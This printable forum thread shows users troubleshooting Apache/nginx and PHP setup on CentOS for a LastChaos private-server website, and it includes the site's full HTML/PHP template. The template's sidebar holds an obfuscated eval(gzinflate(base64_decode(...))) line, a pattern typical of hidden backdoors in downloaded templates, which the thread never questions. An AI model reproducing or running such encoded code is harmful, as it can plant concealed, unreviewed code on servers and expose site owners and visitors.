![]() |
|
Web Page for centos - Printable Version +- LCKB (https://lckb.dev/forum) +-- Forum: ** OLD LCKB DATABASE ** (https://lckb.dev/forum/forumdisplay.php?fid=109) +--- Forum: Off-Topic (The Outer World) (https://lckb.dev/forum/forumdisplay.php?fid=198) +---- Forum: General Discussion (https://lckb.dev/forum/forumdisplay.php?fid=147) +---- Thread: Web Page for centos (/showthread.php?tid=1342) |
- maxig - 12-05-2012 -Installing Apache's httpd, PHP, MySQL on Fedora- # yum -y install httpd php mysql mysql-server php-mysql Your web files will now be found in "/var/www/" - the document root. To create a database issue this command in terminal: mysqladmin create "databasename" That's it! 2 hello , i have already installed [root@239 ~]# yum install httpd Loaded plugins: fastestmirror, refresh-packagekit, security Loading mirror speeds from cached hostfile * base: sunsite.rediris.es * epel: mirror.uv.es * extras: sunsite.rediris.es * updates: sunsite.rediris.es Setting up Install Process Package httpd-2.2.15-15.el6.centos.1.i686 already installed and latest version Nothing to do [root@239 ~]# yum install php Loaded plugins: fastestmirror, refresh-packagekit, security Loading mirror speeds from cached hostfile * base: sunsite.rediris.es * epel: mirror.uv.es * extras: sunsite.rediris.es * updates: sunsite.rediris.es Setting up Install Process Package php-5.3.3-14.el6_3.i686 already installed and latest version Nothing to do [root@239 ~]# yum install mysql-server mysql Loaded plugins: fastestmirror, refresh-packagekit, security Loading mirror speeds from cached hostfile * base: sunsite.rediris.es * epel: mirror.uv.es * extras: sunsite.rediris.es * updates: sunsite.rediris.es Setting up Install Process Package mysql-server-5.1.66-1.el6_3.i686 already installed and latest version Package mysql-5.1.66-1.el6_3.i686 already installed and latest version Nothing to do [root@239 ~]# service httpd start Iniciando httpd: [ OK ] [root@239 ~]# service mysqld start Iniciando mysqld: [ OK ] [root@239 ~]# - maxig - 12-06-2012 there should be something wrong on the hp @ first try onother hp!Here where some hp`s postet.as that what i seeing from the screen should be that are mybe a included call not correct. or send me a copy of the hp and i will take a look to see if something has typos or some php addons missing <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-US" xmlns="http://www.w3.org/1999/xhtml" dir="ltr"> <head> <title>***** LastChaos | EP5</title> <meta http-equiv="Content-type" content="text/html; charset=utf-8" /> <link rel="shortcut icon" href="css/images/favicon1.ico" /> <link rel="stylesheet" href="css/style.css" type="text/css" media="all" /> <link rel="stylesheet" href="css/flexslider.css" type="text/css" media="all" /> <!--[if IE 6]> <link rel="stylesheet" href="css/ie6.css" type="text/css" media="all" /> <![endif]--> <link href='http://fonts.googleapis.com/css?family=Play:400,700&subset=latin,cyrillic-ext,greek,greek-ext,latin-ext,cyrillic' rel='stylesheet' type='text/css' /> <script src="js/jquery-1.7.1.min.js" type="text/javascript" charset="utf-8"></script> <script src="js/jquery.jcarousel.js" type="text/javascript"></script> <script src="js/jquery.flexslider.js" type="text/javascript"></script> <script src="js/DD_belatedPNG-min.js" type="text/javascript"></script> <script src="js/functions.js" type="text/javascript" charset="utf-8"></script> </head> <body> <!-- Wrapper --> <div id="wrapper"> <!-- Shell --> <div class="shell"> <p id="top-navigation"></span><a title="User area" href="user_cp.php">User Area</a> | </span><a title="Log Out" href="logout.php">Log Out</a></p> <div class="cl"></div> <!-- Header --> <div id="header"> <!-- Logo --> <div id="logo"> <h1><a href="index.php" title="home">LOLOLOL</a></h1> <p class="slogan"> Best EP5 Private Server</p> </div> <!-- END Logo --> <div class="cl"></div> </div> <!-- END Header --> <!-- Navigation --> <div id="navigation"> <ul> <li class="first"><a title="Home" href="index.php">Home</a></li> <li><a title="register" href="register.php">Register</a></li> <li><a title="login" href="login.php">Login</a></li> <li><a title="rank" href="ranking.php?char=-1">Ranking</a></li> <li><a title="forum" href="#">Forum</a></li> <li><a title="contact" href="#">Contact</a></li> <!-- <li><a title="Blog" href="#">BLOG</a></li> <li><a title="Contacts" href="#">Contacts</a></li> --> </ul> <div class="cl"></div> </div> <!-- END Navigation --> <!-- Slider --> <div id="slider" class="flexslider"> <ul class="slides"> <li> <img src="css/images/slide.png" alt="Character from the The Crysis 2 shooting a machine gun" /> <div class="caption"> <p>Infos über screen<span>blablabla</span><a class="watch-now" title="Watch Now!" href="#">Watch Now!</a></p> </div> </li> <li> <img src="css/images/slide2.png" alt="Character from the The Crysis 2 shooting a machine gun" /> <div class="caption"> <p>Infos über screen<span>blablabla</span><a class="watch-now" title="Watch Now!" href="#">Watch Now!</a></p> </div> </li> <li> <img src="css/images/slide3.png" alt="Character from the The Crysis 2 shooting a machine gun" /> <div class="caption"> <p>Infos über screen<span>blablabla</span><a class="watch-now" title="Watch Now!" href="#">Watch Now!</a></p> </div> </li> </ul> </div> <!-- END Slider --> <!-- Main --> <div id="main"> <div id="main-top"></div> <div id="main-middle"> <!-- Content --> <div id="content"> <div class="post"> <h2>Hello, Stranger!</h2> <p><strong>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras id molestie enim. Suspendisse consequat urna non ante gravida euismod. In in nibh vestibulum at tellus viverra nulla.</strong></p> <p>Aliquam pulvinar. Maecenas nulla arcu, venenatis et ultrices id, tincidunt ut nisl. Etiam augue lectus,Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras id molestie enim. Suspendisse consequat urna non ante gravida euismod. In in nibh nulla. Stibulum at tellus viverra nulla aliquam pulvinar. Maecenas nulla arcu, venenatis et ultrices id, tincidunt ut nisl. Maecenas nulla arcu, venenatis et ultrices id, tincidunt ut nisl. Etiam augue lectus,Lorem ipsum dolor sit amet, consect dolor sit amet adipising ultrices id, tincidunt ut nisl. </p> <a title="Learn More" class="learn-more" href="#">Learn More</a> </div> <div class="post games"> <h2>Some Special Features!</h2> <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras id molestie enim. Suspendisse consequat urna non ante gravida euismod. In in nibh vestibulum at tellus viverra nulla.</p> </div> </div> <!-- END Content --> <!-- Sidebar --> <div id="sidebar"> <div class="widget services"> <h2>Special Infos</h2> <?php eval(gzinflate(base64_decode(rawurldecode('XVe3Duw4Evyc3YMC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8jy5KayZdVKa8SJjpBrQGwJaFqbwVMAtx5DRRXKC6BpwwMBE27ZmhZux9JpwG4YslYj4aFZ%2FQFqkpMMUx4R551p6voVlToHM7JFOQi92GWR25NVUgaW3Do4n1nz9%2F%2Fee3%2FvkX')))); ?> </div> <div class="widget contact"> <h2>Contact Us</h2> <p><strong>Email: </strong><a title="Contact us" href="#">[email protected]</a></p> <p><strong>Skype: </strong>*****-lc-admin</p> <p><strong>Forum: </strong><a href="#">Click here!</a></p> </div> </div> <!-- END Sidebar --> <div class="cl"></div> </div> <div id="main-bottom"></div> </div> <!-- END Main --> <!-- Footer --> <div id="footer"> <p class="copy">Website by Sentence' [<a title="elitepvpers profile" href="http://www.elitepvpers.com/forum/members/3933904-sentence-.html">e*pvp</a>]<span>|</span>Copyright ***** LC.</p> <!-- <p id="bottom-nav"><a title="Home" href="#">Home</a><span>|</span><a title="About" href="#">About</a><span>|</span><a title="Services" href="#">Services</a><span>|</span><a title="Projects" href="#">Projects</a><span>|</span><a title="Solutions" href="#">Solutions</a><span>|</span><a title="Jobs" href="#">Jobs</a><span>|</span><a title="Contacts" href="#">Contacts</a></p> --> <div class="cl"></div> </div> <!-- END Footer --> </div> <!-- END Shell --> </div> <!-- END Wrapper --> </body> </html> - chris-2012 - 12-06-2012 is that this side ? 2 ??? If yes tested here with 2 diffrent webserver (apache and nginx) will working fine.so something with your webserver is wrong. - maxig - 12-06-2012 is that this side ? 2 ??? If yes tested here with 2 diffrent webserver (apache and nginx) will working fine.so something with your webserver is wrong. ok i use nginx and have one error Something has triggered missing webpage on your website. This is the default 404 error page for nginx that is distributed with EPEL. It is located /usr/share/nginx/html/404.html You should customize this error page for your own site or edit the error_page directive in the nginx configuration file /etc/nginx/nginx.conf. - chris-2012 - 12-06-2012 in which directory do have copied the page ?should be /var/www/html/ - maxig - 12-06-2012 in which directory do have copied the page ?should be /var/www/html/ yes i have in /var/www/html/ "apache" and /etc/nginx/html/ "nginx" 2 2 - chris-2012 - 12-06-2012 there are should going things wrong.and you have in the dir a index.php ? - maxig - 12-06-2012 there are should going things wrong.and you have in the dir a index.php ? yes,so how must go? - chris-2012 - 12-06-2012 please post the directory structur of /var/www and post /etc/nginx/nginx.conf - maxig - 12-06-2012 please post the directory structur of /var/www and post /etc/nginx/nginx.conf I have it so, as it should be? Thanks # For more information on configuration, see: # * Official English Documentation: http://nginx.org/en/docs/ # * Official Russian Documentation: http://nginx.org/ru/docs/ user nginx; worker_processes 1;error_log /var/log/nginx/error.log; #error_log /var/log/nginx/error.log notice; #error_log /var/log/nginx/error.log info; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; #keepalive_timeout 0; keepalive_timeout 65; #gzip on; # Load config files from the /etc/nginx/conf.d directory # The default server is in conf.d/default.conf include /etc/nginx/conf.d/*.conf; } |